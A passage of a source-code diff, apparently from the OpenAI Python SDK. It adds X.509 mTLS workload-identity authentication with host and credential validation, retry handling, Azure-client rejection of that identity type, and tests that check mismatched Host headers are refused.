if not isinstance(access_token, str) or not access_token:
raise OpenAIError("Token exchange response did not include a valid access_token")
- if not isinstance(expires_in, (int, float)):
- raise OpenAIError("Token exchange response did not include a valid expires_in")
- return {"access_token": access_token, "expires_in": float(expires_in)}
+ return {"access_token": access_token, "expires_in": self._validate_expires_in(expires_in)}
raise OpenAIError(
f"Token exchange failed with status {response.status_code}",
)
- def _get_subject_token(self) -> str:
- provider = self.workload_identity["provider"]
- subject_token = provider["get_token"]()
- if not subject_token:
- raise OpenAIError("The workload identity provider returned an empty subject token")
- return subject_token
+ def _validate_expires_in(self, expires_in: object) -> float:
+ if not isinstance(expires_in, (int, float)):
+ raise OpenAIError("Token exchange response did not include a valid expires_in")
+ return float(expires_in)
def _token_unusable(self) -> bool:
return self._cached_token is None or self._token_expired()
@@ -314,3 +326,62 @@ def _refresh_delay_seconds(self, expires_in: float) -> float:
configured_buffer = self.workload_identity.get("refresh_buffer_seconds", DEFAULT_REFRESH_BUFFER_SECONDS)
effective_buffer = min(configured_buffer, expires_in / 2)
return max(expires_in - effective_buffer, 0.0)
+
+ def _can_retry_request(self, request: httpx2.Request) -> bool:
+ """Preserve the established subject-token request retry behavior."""
+ del request
+ return True
+
+ def _prepare_retry_request(self, request: httpx2.Request) -> None:
+ """Preserve the established subject-token request retry behavior."""
+ del request
+
+
+class WorkloadIdentityAuth(_WorkloadIdentityAuth[WorkloadIdentity]):
+ def __init__(
+ self,
+ *,
+ workload_identity: WorkloadIdentity,
+ token_exchange_url: str = DEFAULT_TOKEN_EXCHANGE_URL,
+ _use_httpx2: bool = True,
+ ) -> None:
+ super().__init__(
+ workload_identity=workload_identity,
+ token_exchange_url=token_exchange_url,
+ _use_httpx2=_use_httpx2,
+ )
+
+ @override
+ def _fetch_token_from_exchange(self) -> dict[str, Any]:
+ subject_token = self._get_subject_token()
+ token_type = self.workload_identity["provider"]["token_type"]
+ subject_token_type = SUBJECT_TOKEN_TYPES.get(token_type)
+ if subject_token_type is None:
+ raise OpenAIError(
+ f"Unsupported token type: {token_type!r}. Supported types: {', '.join(SUBJECT_TOKEN_TYPES.keys())}"
+ )
+
+ legacy_httpx = _loaded_legacy_httpx() if not self._use_httpx2 else None
+ exchange_client = (
+ legacy_httpx.Client() if legacy_httpx is not None else DefaultHttpx2Client(follow_redirects=False)
+ )
+ with exchange_client as client:
+ response = client.post(
+ self.token_exchange_url,
+ json={
+ "grant_type": TOKEN_EXCHANGE_GRANT_TYPE,
+ "subject_token": subject_token,
+ "subject_token_type": subject_token_type,
+ "identity_provider_id": self.workload_identity["identity_provider_id"],
+ "service_account_id": self.workload_identity["service_account_id"],
+ },
+ timeout=10.0,
+ )
+ return self._handle_token_response(response)
+
+ def _get_subject_token(self) -> str:
+ provider = self.workload_identity["provider"]
+ subject_token = provider["get_token"]()
+ if not subject_token:
+ raise OpenAIError("The workload identity provider returned an empty subject token")
+ return subject_token
diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py
new file mode 100644
index 0000000000..622f2b89ec
--- /dev/null
+++ b/src/openai/auth/_x509.py
@@ -0,0 +1,533 @@
+from __future__ import annotations
+
+import re
+import math
+import time
+import email.utils
+from typing import Any, NoReturn, cast
+from typing_extensions import TypeIs, override
+
+import anyio
+import httpx2
+
+from .._utils import is_dict
+from .._httpx2 import timeout_exceptions, normalize_httpx_url, _loaded_legacy_httpx
+from ._workload import (
+ TOKEN_EXCHANGE_GRANT_TYPE,
+ WorkloadIdentity,
+ X509WorkloadIdentity,
+ _WorkloadIdentityAuth,
+)
+from .._constants import MAX_RETRY_DELAY, INITIAL_RETRY_DELAY, MAX_RETRY_AFTER_DELAY
+from .._exceptions import OAuthError, OpenAIError, APITimeoutError, APIConnectionError
+
+MTLS_API_BASE_URL = "https://mtls.api.openai.com/v1"
+_X509_TOKEN_EXCHANGE_URL = "https://mtls.auth.openai.com/oauth/token"
+_X509_SUBJECT_TOKEN_TYPE = "urn:openai:params:oauth:token-type:x509"
+_MAX_EXCHANGE_RETRIES = 2
+_REPLAY_POSITION_EXTENSION = "openai_x509_replay_position"
+_REPLAY_FILE_POSITIONS_EXTENSION = "openai_x509_replay_file_positions"
+_ALLOWED_IDENTITY_FIELDS = {"type", "identity_provider_id", "service_account_id", "refresh_buffer_seconds"}
+_BEARER_ACCESS_TOKEN = re.compile(r"[A-Za-z0-9._~+/-]+=*")
+
+
+def validate_x509_api_url(url: httpx2.URL | str, *, expected_origin: httpx2.URL | None = None) -> None:
+ normalized_url = normalize_httpx_url(url)
+ if normalized_url.scheme != "https" or not normalized_url.host:
+ raise OpenAIError("X.509 workload identity requires an absolute HTTPS API URL")
+
+ if normalized_url.username or normalized_url.password:
+ raise OpenAIError("X.509 workload identity API URLs cannot contain user credentials")
+
+ if expected_origin is not None and (normalized_url.host, normalized_url.port) != (
+ expected_origin.host,
+ expected_origin.port,
+ ):
+ raise OpenAIError("X.509 workload identity requests must use the configured API origin")
+
+
+def validate_x509_api_credentials(request: httpx2.Request) -> None:
+ if any(
+ header.lower().replace("_", "-") in ("api-key", "x-api-key", "proxy-authorization")
+ for header in request.headers
+ ):
+ raise OpenAIError("X.509 workload identity requests cannot include API-key or proxy credentials")
+
+
+def validate_x509_request_authority(request: httpx2.Request) -> None:
+ host_headers = request.headers.get_list("host")
+ if (
+ len(host_headers) != 1
+ or any(delimiter in host_headers[0] for delimiter in "/?#@\\")
+ or any(header.startswith(":") for header in request.headers)
+ ):
+ raise OpenAIError("X.509 workload identity requests require exactly one valid Host authority")
+
+ try:
+ host_url = httpx2.URL(f"https://{host_headers[0]}")
+ except httpx2.InvalidURL as error:
+ raise OpenAIError("X.509 workload identity requests require a valid Host authority") from error
+
+ if (
+ host_url.username
+ or host_url.password
+ or host_url.path != "/"
+ or host_url.query
+ or host_url.fragment
+ or (host_url.host, host_url.port) != (request.url.host, request.url.port)
+ ):
+ raise OpenAIError("X.509 workload identity Host authority must match the request URL")
+
+
+def _validate_transport_request(
+ request: httpx2.Request,
+ *,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None,
+ token_exchange: bool,
+) -> None:
+ validate_x509_api_url(request.url, expected_origin=expected_origin)
+ validate_x509_request_authority(request)
+
+ if token_exchange:
+ if str(request.url) != _X509_TOKEN_EXCHANGE_URL:
+ raise OpenAIError("X.509 token exchange requests must use the pinned authentication URL")
+ if any(
+ header.lower().replace("_", "-")
+ in ("authorization", "proxy-authorization", "cookie", "x-api-key", "api-key")
+ for header in request.headers
+ ):
+ raise OpenAIError("X.509 token exchange requests cannot include API credentials")
+ else:
+ validate_x509_api_credentials(request)
+ if request.headers.get("Authorization") != expected_authorization:
+ raise OpenAIError("X.509 workload identity authorization cannot be changed by HTTP request hooks")
+
+
+class _SyncX509ForwardingTransport(httpx2.BaseTransport):
+ def __init__(
+ self,
+ *,
+ http_client: httpx2.Client,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None,
+ token_exchange: bool,
+ ) -> None:
+ self._http_client = http_client
+ self._expected_origin = expected_origin
+ self._expected_authorization = expected_authorization
+ self._token_exchange = token_exchange
+
+ @override
+ def handle_request(self, request: httpx2.Request) -> httpx2.Response:
+ _validate_transport_request(
+ request,
+ expected_origin=self._expected_origin,
+ expected_authorization=self._expected_authorization,
+ token_exchange=self._token_exchange,
+ )
+ if self._http_client.is_closed:
+ raise RuntimeError("Cannot send a request, as the client has been closed.")
+ return self._http_client._transport_for_url(request.url).handle_request(request)
+
+ @override
+ def close(self) -> None:
+ # The caller owns the selected connection pool and proxy transports.
+ return None
+
+
+class _AsyncX509ForwardingTransport(httpx2.AsyncBaseTransport):
+ def __init__(
+ self,
+ *,
+ http_client: httpx2.AsyncClient,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None,
+ token_exchange: bool,
+ ) -> None:
+ self._http_client = http_client
+ self._expected_origin = expected_origin
+ self._expected_authorization = expected_authorization
+ self._token_exchange = token_exchange
+
+ @override
+ async def handle_async_request(self, request: httpx2.Request) -> httpx2.Response:
+ _validate_transport_request(
+ request,
+ expected_origin=self._expected_origin,
+ expected_authorization=self._expected_authorization,
+ token_exchange=self._token_exchange,
+ )
+ if self._http_client.is_closed:
+ raise RuntimeError("Cannot send a request, as the client has been closed.")
+ return await self._http_client._transport_for_url(request.url).handle_async_request(request)
+
+ @override
+ async def aclose(self) -> None:
+ # The caller owns the selected connection pool and proxy transports.
+ return None
+
+
+def _scoped_sync_client(
+ http_client: httpx2.Client,
+ *,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None = None,
+ token_exchange: bool = False,
+) -> httpx2.Client:
+ transport = _SyncX509ForwardingTransport(
+ http_client=http_client,
+ expected_origin=expected_origin,
+ expected_authorization=expected_authorization,
+ token_exchange=token_exchange,
+ )
+ legacy_httpx = _loaded_legacy_httpx()
+ client_type = httpx2.Client
+ if legacy_httpx is not None and not isinstance(cast(object, http_client), httpx2.Client):
+ client_type = legacy_httpx.Client
+ scoped_client = client_type(
+ transport=transport,
+ timeout=http_client.timeout,
+ event_hooks=None if token_exchange else http_client.event_hooks,
+ trust_env=False,
+ )
+ if not token_exchange:
+ scoped_client._cookies = http_client.cookies
+ return scoped_client
+
+
+def _scoped_async_client(
+ http_client: httpx2.AsyncClient,
+ *,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None = None,
+ token_exchange: bool = False,
+) -> httpx2.AsyncClient:
+ transport = _AsyncX509ForwardingTransport(
+ http_client=http_client,
+ expected_origin=expected_origin,
+ expected_authorization=expected_authorization,
+ token_exchange=token_exchange,
+ )
+ legacy_httpx = _loaded_legacy_httpx()
+ client_type = httpx2.AsyncClient
+ if legacy_httpx is not None and not isinstance(cast(object, http_client), httpx2.AsyncClient):
+ client_type = legacy_httpx.AsyncClient
+ scoped_client = client_type(
+ transport=transport,
+ timeout=http_client.timeout,
+ event_hooks=None if token_exchange else http_client.event_hooks,
+ trust_env=False,
+ )
+ if not token_exchange:
+ scoped_client._cookies = http_client.cookies
+ return scoped_client
+
+
+def _as_finite_float(value: object) -> float | None:
+ if isinstance(value, bool) or not isinstance(value, (int, float)):
+ return None
+ try:
+ value = float(value)
+ except OverflowError:
+ return None
+ return value if math.isfinite(value) else None
+
+
+def is_x509_workload_identity(
+ identity: WorkloadIdentity | X509WorkloadIdentity | None,
+) -> TypeIs[X509WorkloadIdentity]:
+ return identity is not None and identity.get("type") == "x509"
+
+
+def _validate_identity(identity: X509WorkloadIdentity) -> None:
+ if "provider" in identity or "client_id" in identity:
+ raise OpenAIError("X.509 workload identity does not accept a subject-token provider or client ID")
+
+ if set(identity) - _ALLOWED_IDENTITY_FIELDS:
+ raise OpenAIError("X.509 workload identity accepts only identity IDs and an optional refresh buffer")
+
+ if not identity.get("identity_provider_id") or not identity.get("service_account_id"):
+ raise OpenAIError("X.509 workload identity requires identity-provider and service-account IDs")
+
+ refresh_buffer = cast(object, identity.get("refresh_buffer_seconds"))
+ if refresh_buffer is not None:
+ refresh_buffer_value = _as_finite_float(refresh_buffer)
+ if refresh_buffer_value is None or refresh_buffer_value < 0:
+ raise OpenAIError("X.509 workload identity requires a finite, non-negative refresh buffer")
+
+
+def _exchange_payload(identity: X509WorkloadIdentity) -> dict[str, str]:
+ return {
+ "grant_type": TOKEN_EXCHANGE_GRANT_TYPE,
+ "subject_token_type": _X509_SUBJECT_TOKEN_TYPE,
+ "identity_provider_id": identity["identity_provider_id"],
+ "service_account_id": identity["service_account_id"],
+ }
+
+
+def _token_exchange_request(
+ identity: X509WorkloadIdentity,
+ *,
+ http_client: httpx2.Client | httpx2.AsyncClient,
+) -> httpx2.Request:
+ request_type = httpx2.Request
+ legacy_httpx = _loaded_legacy_httpx()
+ if legacy_httpx is not None and not isinstance(cast(object, http_client), (httpx2.Client, httpx2.AsyncClient)):
+ request_type = cast(type[httpx2.Request], cast(Any, legacy_httpx).Request)
+
+ return request_type(
+ "POST",
+ _X509_TOKEN_EXCHANGE_URL,
+ json=_exchange_payload(identity),
+ extensions={"timeout": httpx2.Timeout(10.0).as_dict()},
+ )
+
+
+def _retry_delay(response: httpx2.Response | None, attempt: int) -> float | None:
+ if response is not None:
+ if response.status_code not in (408, 409, 429) and response.status_code < 500:
+ return None
+
+ retry_after = response.headers.get("retry-after")
+ if retry_after is not None:
+ try:
+ delay = float(retry_after)
+ except ValueError:
+ try:
+ parsed = email.utils.parsedate_tz(retry_after)
+ delay = float(email.utils.mktime_tz(parsed) - time.time()) if parsed is not None else -1
+ except (OverflowError, OSError, ValueError):
+ delay = -1
+
+ if math.isfinite(delay) and 0 <= delay <= MAX_RETRY_AFTER_DELAY:
+ return delay
+ if delay > MAX_RETRY_AFTER_DELAY:
+ return None
+
+ return float(min(INITIAL_RETRY_DELAY * 2**attempt, MAX_RETRY_DELAY))
+
+
+def _is_replayable_request(request: httpx2.Request) -> bool:
+ if isinstance(getattr(request, "_content", None), bytes):
+ return True
+
+ stream = request.stream
+ fields = getattr(stream, "fields", None)
+ if isinstance(fields, list):
+ file_positions: list[tuple[object, int]] = []
+ for field in cast(list[object], fields):
+ file = getattr(field, "file", None)
+ if file is None or isinstance(file, (str, bytes)):
+ continue
+ seekable = getattr(file, "seekable", None)
+ seek = getattr(file, "seek", None)
+ tell = getattr(file, "tell", None)
+ if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell):
+ return False
+ position = tell()
+ if not isinstance(position, int):
+ return False
+ file_positions.append((file, position))
+ request.extensions[_REPLAY_FILE_POSITIONS_EXTENSION] = file_positions
+ return True
+
+ source = getattr(stream, "_stream", stream)
+ seekable = getattr(source, "seekable", None)
+ seek = getattr(source, "seek", None)
+ tell = getattr(source, "tell", None)
+ if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell):
+ return False
+ request.extensions[_REPLAY_POSITION_EXTENSION] = tell()
+ return True
+
+
+def _transport_errors() -> tuple[type[Exception], ...]:
+ legacy_httpx = _loaded_legacy_httpx()
+ if legacy_httpx is None:
+ return (httpx2.TransportError,)
+ legacy_transport_error = cast(type[Exception], getattr(legacy_httpx, "TransportError", httpx2.TransportError))
+ return (httpx2.TransportError, legacy_transport_error)
+
+
+def _raise_transport_error(error: Exception) -> NoReturn:
+ request = cast(httpx2.Request | None, getattr(error, "request", None))
+ if request is None:
+ raise OpenAIError("X.509 token exchange connection failed") from error
+ if isinstance(error, timeout_exceptions()):
+ raise APITimeoutError(request=request) from error
+ raise APIConnectionError(request=request) from error
+
+
+class _X509WorkloadIdentityAuth(_WorkloadIdentityAuth[X509WorkloadIdentity]):
+ def __init__(self, *, workload_identity: X509WorkloadIdentity, max_retries: int) -> None:
+ _validate_identity(workload_identity)
+ super().__init__(workload_identity=workload_identity, token_exchange_url=_X509_TOKEN_EXCHANGE_URL)
+ self._max_exchange_retries = min(max(max_retries, 0), _MAX_EXCHANGE_RETRIES)
+ self._follow_redirects = False
+
+ @override
+ def _handle_token_response(self, response: httpx2.Response) -> dict[str, Any]:
+ if response.status_code not in (400, 401, 403):
+ token_data = super()._handle_token_response(response)
+ response_body = response.json()
+ token_type = response_body.get("token_type")
+ if "token_type" in response_body and (not isinstance(token_type, str) or token_type.lower() != "bearer"):
+ raise OpenAIError("X.509 token exchange response must use the Bearer token type")
+ if _BEARER_ACCESS_TOKEN.fullmatch(token_data["access_token"]) is None:
+ raise OpenAIError("X.509 token exchange response did not include a valid Bearer access_token")
+ return token_data
+
+ try:
+ response_body = response.json() if response.content else None
+ except ValueError:
+ response_body = None
+
+ oauth_error = response_body.get("error") if is_dict(response_body) else None
+ safe_body = {"error": oauth_error} if isinstance(oauth_error, str) else None
+ raise OAuthError(response=response, body=safe_body)
+
+ @override
+ def _validate_expires_in(self, expires_in: object) -> float:
+ expires_in_value = _as_finite_float(expires_in)
+ if expires_in_value is None or expires_in_value <= 0:
+ raise OpenAIError("X.509 token exchange response did not include a positive, finite expires_in")
+ return expires_in_value
+
+ @override
+ def _can_retry_request(self, request: httpx2.Request) -> bool:
+ return _is_replayable_request(request)
+
+ @override
+ def _prepare_retry_request(self, request: httpx2.Request) -> None:
+ file_positions = request.extensions.get(_REPLAY_FILE_POSITIONS_EXTENSION)
+ if isinstance(file_positions, list):
+ for file, file_position in cast(list[tuple[object, int]], file_positions):
+ seek = getattr(file, "seek", None)
+ if callable(seek):
+ seek(file_position)
+ return
+
+ position = request.extensions.get(_REPLAY_POSITION_EXTENSION)
+ if not isinstance(position, int):
+ return
+ source = getattr(request.stream, "_stream", request.stream)
+ seek = getattr(source, "seek", None)
+ if callable(seek):
+ seek(position)
+
+
+class SyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth):
+ def __init__(
+ self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.Client, max_retries: int
+ ) -> None:
+ super().__init__(workload_identity=workload_identity, max_retries=max_retries)
+ self._http_client = http_client
+
+ def send_api_request(
+ self,
+ request: httpx2.Request,
+ *,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None,
+ stream: bool,
+ **kwargs: Any,
+ ) -> httpx2.Response:
+ with _scoped_sync_client(
+ self._http_client,
+ expected_origin=expected_origin,
+ expected_authorization=expected_authorization,
+ ) as scoped_client:
+ return scoped_client.send(request, stream=stream, **kwargs)
+
+ @override
+ def _fetch_token_from_exchange(self) -> dict[str, Any]:
+ for attempt in range(self._max_exchange_retries + 1):
+ try:
+ with _scoped_sync_client(
+ self._http_client,
+ expected_origin=httpx2.URL(_X509_TOKEN_EXCHANGE_URL),
+ token_exchange=True,
+ ) as scoped_client:
+ response = scoped_client.send(
+ _token_exchange_request(self.workload_identity, http_client=self._http_client),
+ auth=None,
+ follow_redirects=False,
+ )
+ except _transport_errors() as error:
+ if attempt >= self._max_exchange_retries:
+ _raise_transport_error(error)
+ delay = _retry_delay(None, attempt)
+ else:
+ delay = _retry_delay(response, attempt)
+ if attempt >= self._max_exchange_retries or delay is None:
+ return self._handle_token_response(response)
+
+ if delay is not None:
+ time.sleep(delay)
+
+ raise AssertionError("X.509 token exchange retry loop exhausted unexpectedly")
+
+
+class AsyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth):
+ def __init__(
+ self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.AsyncClient, max_retries: int
+ ) -> None:
+ super().__init__(workload_identity=workload_identity, max_retries=max_retries)
+ self._http_client = http_client
+ self._async_lock = anyio.Lock()
+
+ async def send_api_request(
+ self,
+ request: httpx2.Request,
+ *,
+ expected_origin: httpx2.URL,
+ expected_authorization: str | None,
+ stream: bool,
+ **kwargs: Any,
+ ) -> httpx2.Response:
+ async with _scoped_async_client(
+ self._http_client,
+ expected_origin=expected_origin,
+ expected_authorization=expected_authorization,
+ ) as scoped_client:
+ return await scoped_client.send(request, stream=stream, **kwargs)
+
+ @override
+ async def get_token_async(self) -> str:
+ async with self._async_lock:
+ with self._lock:
+ if not self._token_unusable() and not self._needs_refresh():
+ return cast(str, self._cached_token)
+
+ token_data = await self._fetch_token_from_exchange_async()
+ self._store_token(token_data)
+ with self._lock:
+ return cast(str, self._cached_token)
+
+ async def _fetch_token_from_exchange_async(self) -> dict[str, Any]:
+ for attempt in range(self._max_exchange_retries + 1):
+ try:
+ async with _scoped_async_client(
+ self._http_client,
+ expected_origin=httpx2.URL(_X509_TOKEN_EXCHANGE_URL),
+ token_exchange=True,
+ ) as scoped_client:
+ response = await scoped_client.send(
+ _token_exchange_request(self.workload_identity, http_client=self._http_client),
+ auth=None,
+ follow_redirects=False,
+ )
+ except _transport_errors() as error:
+ if attempt >= self._max_exchange_retries:
+ _raise_transport_error(error)
+ delay = _retry_delay(None, attempt)
+ else:
+ delay = _retry_delay(response, attempt)
+ if attempt >= self._max_exchange_retries or delay is None:
+ return self._handle_token_response(response)
+
+ if delay is not None:
+ await anyio.sleep(delay)
+
+ raise AssertionError("X.509 token exchange retry loop exhausted unexpectedly")
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index 5e0b6f5203..bac8c68296 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -7,7 +7,7 @@
import httpx2
-from ..auth import WorkloadIdentity
+from ..auth import WorkloadIdentity, X509WorkloadIdentity
from .._types import NOT_GIVEN, Omit, Query, Headers, Timeout, NotGiven
from .._utils import is_given, is_mapping
from .._client import OpenAI, AsyncOpenAI
@@ -16,6 +16,7 @@
from .._models import SecurityOptions, FinalRequestOptions
from .._provider import _Provider
from .._streaming import Stream, AsyncStream
+from ..auth._x509 import is_x509_workload_identity
from .._exceptions import OpenAIError
from .._base_client import DEFAULT_MAX_RETRIES, BaseClient
@@ -175,7 +176,7 @@ def __init__(
api_key: str | Callable[[], str] | None = None,
admin_api_key: str | None = None,
# workload_identity is not functional in the Azure client
- workload_identity: WorkloadIdentity | None = None, # noqa: ARG002
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
azure_ad_token: str | None = None,
azure_ad_token_provider: AzureADTokenProvider | None = None,
organization: str | None = None,
@@ -211,6 +212,9 @@ def __init__(
azure_deployment: A model deployment, if given with `azure_endpoint`, sets the base client URL to include `/deployments/{azure_deployment}`.
Not supported with Assistants APIs.
"""
+ if is_x509_workload_identity(workload_identity):
+ raise OpenAIError("X.509 workload identity is not supported by Azure clients")
+
if api_key is None:
api_key = os.environ.get("AZURE_OPENAI_API_KEY")
@@ -284,7 +288,7 @@ def copy(
*,
api_key: str | Callable[[], str] | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
provider: _Provider | None | NotGiven = NOT_GIVEN,
organization: str | None = None,
project: str | None = None,
@@ -309,6 +313,8 @@ def copy(
"""
if not isinstance(provider, NotGiven):
raise OpenAIError("Configure `provider` on `OpenAI`, not on `AzureOpenAI.with_options()`.")
+ if is_x509_workload_identity(workload_identity):
+ raise OpenAIError("X.509 workload identity is not supported by Azure clients")
return super().copy(
api_key=api_key,
@@ -499,7 +505,7 @@ def __init__(
api_key: str | Callable[[], Awaitable[str]] | None = None,
admin_api_key: str | None = None,
# workload_identity is not functional in the Azure client
- workload_identity: WorkloadIdentity | None = None, # noqa: ARG002
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
azure_ad_token: str | None = None,
azure_ad_token_provider: AsyncAzureADTokenProvider | None = None,
organization: str | None = None,
@@ -535,6 +541,9 @@ def __init__(
azure_deployment: A model deployment, if given with `azure_endpoint`, sets the base client URL to include `/deployments/{azure_deployment}`.
Not supported with Assistants APIs.
"""
+ if is_x509_workload_identity(workload_identity):
+ raise OpenAIError("X.509 workload identity is not supported by Azure clients")
+
if api_key is None:
api_key = os.environ.get("AZURE_OPENAI_API_KEY")
@@ -608,7 +617,7 @@ def copy(
*,
api_key: str | Callable[[], Awaitable[str]] | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
provider: _Provider | None | NotGiven = NOT_GIVEN,
organization: str | None = None,
project: str | None = None,
@@ -633,6 +642,8 @@ def copy(
"""
if not isinstance(provider, NotGiven):
raise OpenAIError("Configure `provider` on `AsyncOpenAI`, not on `AsyncAzureOpenAI.with_options()`.")
+ if is_x509_workload_identity(workload_identity):
+ raise OpenAIError("X.509 workload identity is not supported by Azure clients")
return super().copy(
api_key=api_key,
diff --git a/src/openai/lib/bedrock.py b/src/openai/lib/bedrock.py
index 53461f4b40..e83ac0e887 100644
--- a/src/openai/lib/bedrock.py
+++ b/src/openai/lib/bedrock.py
@@ -9,7 +9,7 @@
import httpx2
-from ..auth import WorkloadIdentity
+from ..auth import WorkloadIdentity, X509WorkloadIdentity
from .._types import NOT_GIVEN, Timeout, NotGiven
from .._utils import is_given
from .._client import OpenAI, AsyncOpenAI
@@ -536,7 +536,7 @@ def copy(
*,
api_key: str | BedrockTokenProvider | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
provider: _Provider | None | NotGiven = NOT_GIVEN,
bedrock_token_provider: BedrockTokenProvider | None = None,
aws_region: str | None = None,
@@ -770,7 +770,7 @@ def copy(
*,
api_key: str | AsyncBedrockTokenProvider | None = None,
admin_api_key: str | None = None,
- workload_identity: WorkloadIdentity | None = None,
+ workload_identity: WorkloadIdentity | X509WorkloadIdentity | None = None,
provider: _Provider | None | NotGiven = NOT_GIVEN,
bedrock_token_provider: AsyncBedrockTokenProvider | None = None,
aws_region: str | None = None,
diff --git a/tests/lib/test_azure.py b/tests/lib/test_azure.py
index 691a911144..f7540facd4 100644
--- a/tests/lib/test_azure.py
+++ b/tests/lib/test_azure.py
@@ -8,6 +8,7 @@
import pytest
from openai import OpenAIError
+from openai.auth import x509_workload_identity
from tests.utils import update_env
from tests.respx2 import MockRouter
from openai._types import Omit
@@ -79,6 +80,18 @@ def test_client_copying_override_options(client: Client) -> None:
assert copied._custom_query == {"api-version": "2022-05-01"}
+@pytest.mark.parametrize("client", [sync_client, async_client])
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+def test_client_copying_rejects_x509_workload_identity(client: Client, method: Literal["copy", "with_options"]) -> None:
+ identity = x509_workload_identity(identity_provider_id="idp_123", service_account_id="svc_acct_123")
+
+ with pytest.raises(OpenAIError, match="X.509 workload identity is not supported by Azure clients"):
+ if method == "copy":
+ client.copy(workload_identity=identity)
+ else:
+ client.with_options(workload_identity=identity)
+
+
def test_enforce_credentials_false_sync() -> None:
with update_env(AZURE_OPENAI_API_KEY=Omit(), AZURE_OPENAI_AD_TOKEN=Omit()):
AzureOpenAI(
diff --git a/tests/test_auth.py b/tests/test_auth.py
index f9b1719cb5..fc717973e6 100644
--- a/tests/test_auth.py
+++ b/tests/test_auth.py
@@ -1,5 +1,5 @@
import json
-from typing import cast
+from typing import cast, get_type_hints
from pathlib import Path
import httpx2
@@ -8,6 +8,7 @@
from tests import respx2
from openai import OpenAI, OAuthError
+from openai.auth import WorkloadIdentity, WorkloadIdentityAuth, SubjectTokenWorkloadIdentity
from tests.respx2.models import Call
from openai.auth._workload import (
gcp_id_token_provider,
@@ -16,6 +17,19 @@
)
+def test_workload_identity_preserves_callable_typed_dict_api() -> None:
+ identity = WorkloadIdentity(
+ identity_provider_id="idp_existing",
+ service_account_id="svc_acct_existing",
+ provider={"token_type": "jwt", "get_token": lambda: "subject-token"},
+ )
+
+ assert identity["provider"]["get_token"]() == "subject-token"
+ assert SubjectTokenWorkloadIdentity is WorkloadIdentity
+ assert get_type_hints(WorkloadIdentityAuth.__init__)["workload_identity"] is WorkloadIdentity
+ assert WorkloadIdentityAuth(workload_identity=identity).workload_identity is identity
+
+
@respx2.mock
def test_basic_auth():
respx2.post("https://auth.openai.com/oauth/token").mock(
diff --git a/tests/test_client.py b/tests/test_client.py
index 79a66098fa..d82c39e616 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -17,7 +17,7 @@
from pydantic import ValidationError
from openai import OpenAI, AsyncOpenAI, OpenAIError, APIResponseValidationError
-from openai.auth import WorkloadIdentity
+from openai.auth import SubjectTokenWorkloadIdentity
from tests.respx2 import MockRouter
from openai._types import Omit
from openai._utils import asyncify
@@ -42,7 +42,7 @@
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
api_key = "My API Key"
admin_api_key = "My Admin API Key"
-workload_identity: WorkloadIdentity = {
+workload_identity: SubjectTokenWorkloadIdentity = {
"identity_provider_id": "provider_123",
"service_account_id": "service_account_123",
"provider": {
diff --git a/tests/test_x509_host_authority.py b/tests/test_x509_host_authority.py
new file mode 100644
index 0000000000..f793597cd6
--- /dev/null
+++ b/tests/test_x509_host_authority.py
@@ -0,0 +1,148 @@
+from __future__ import annotations
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, OpenAIError
+from openai.auth import x509_workload_identity
+
+_AUTH_HOST = "mtls.auth.openai.com"
+
+
+def _response(request: httpx2.Request) -> httpx2.Response:
+ if request.url.host == _AUTH_HOST:
+ return httpx2.Response(200, request=request, json={"access_token": "trusted-token", "expires_in": 3600})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+
+@pytest.mark.parametrize("source", ["client", "request", "hook"])
+@pytest.mark.parametrize(
+ "host",
+ [
+ "attacker.invalid",
+ "mtls.api.openai.com:8443",
+ "user@mtls.api.openai.com",
+ "mtls.api.openai.com/",
+ "mtls.api.openai.com?",
+ "mtls.api.openai.com#",
+ ],
+)
+def test_sync_x509_rejects_mismatched_effective_host(source: str, host: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+ def hook(request: httpx2.Request) -> None:
+ request.headers["Host"] = host
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler),
+ headers={"Host": host} if source == "client" else None,
+ event_hooks={"request": [hook]} if source == "hook" else None,
+ trust_env=False,
+ )
+ identity = x509_workload_identity(identity_provider_id="provider", service_account_id="account")
+ with OpenAI(workload_identity=identity, http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="Host|authority|credentials"):
+ client.models.list(extra_headers={"Host": host} if source == "request" else None)
+
+ assert [request.url.host for request in requests] == ([_AUTH_HOST] if source == "hook" else [])
+
+
+@pytest.mark.parametrize("source", ["client", "request", "hook"])
+@pytest.mark.parametrize(
+ "host",
+ [
+ "attacker.invalid",
+ "mtls.api.openai.com:8443",
+ "user@mtls.api.openai.com",
+ "mtls.api.openai.com/",
+ "mtls.api.openai.com?",
+ "mtls.api.openai.com#",
+ ],
+)
+async def test_async_x509_rejects_mismatched_effective_host(source: str, host: str) -> None:
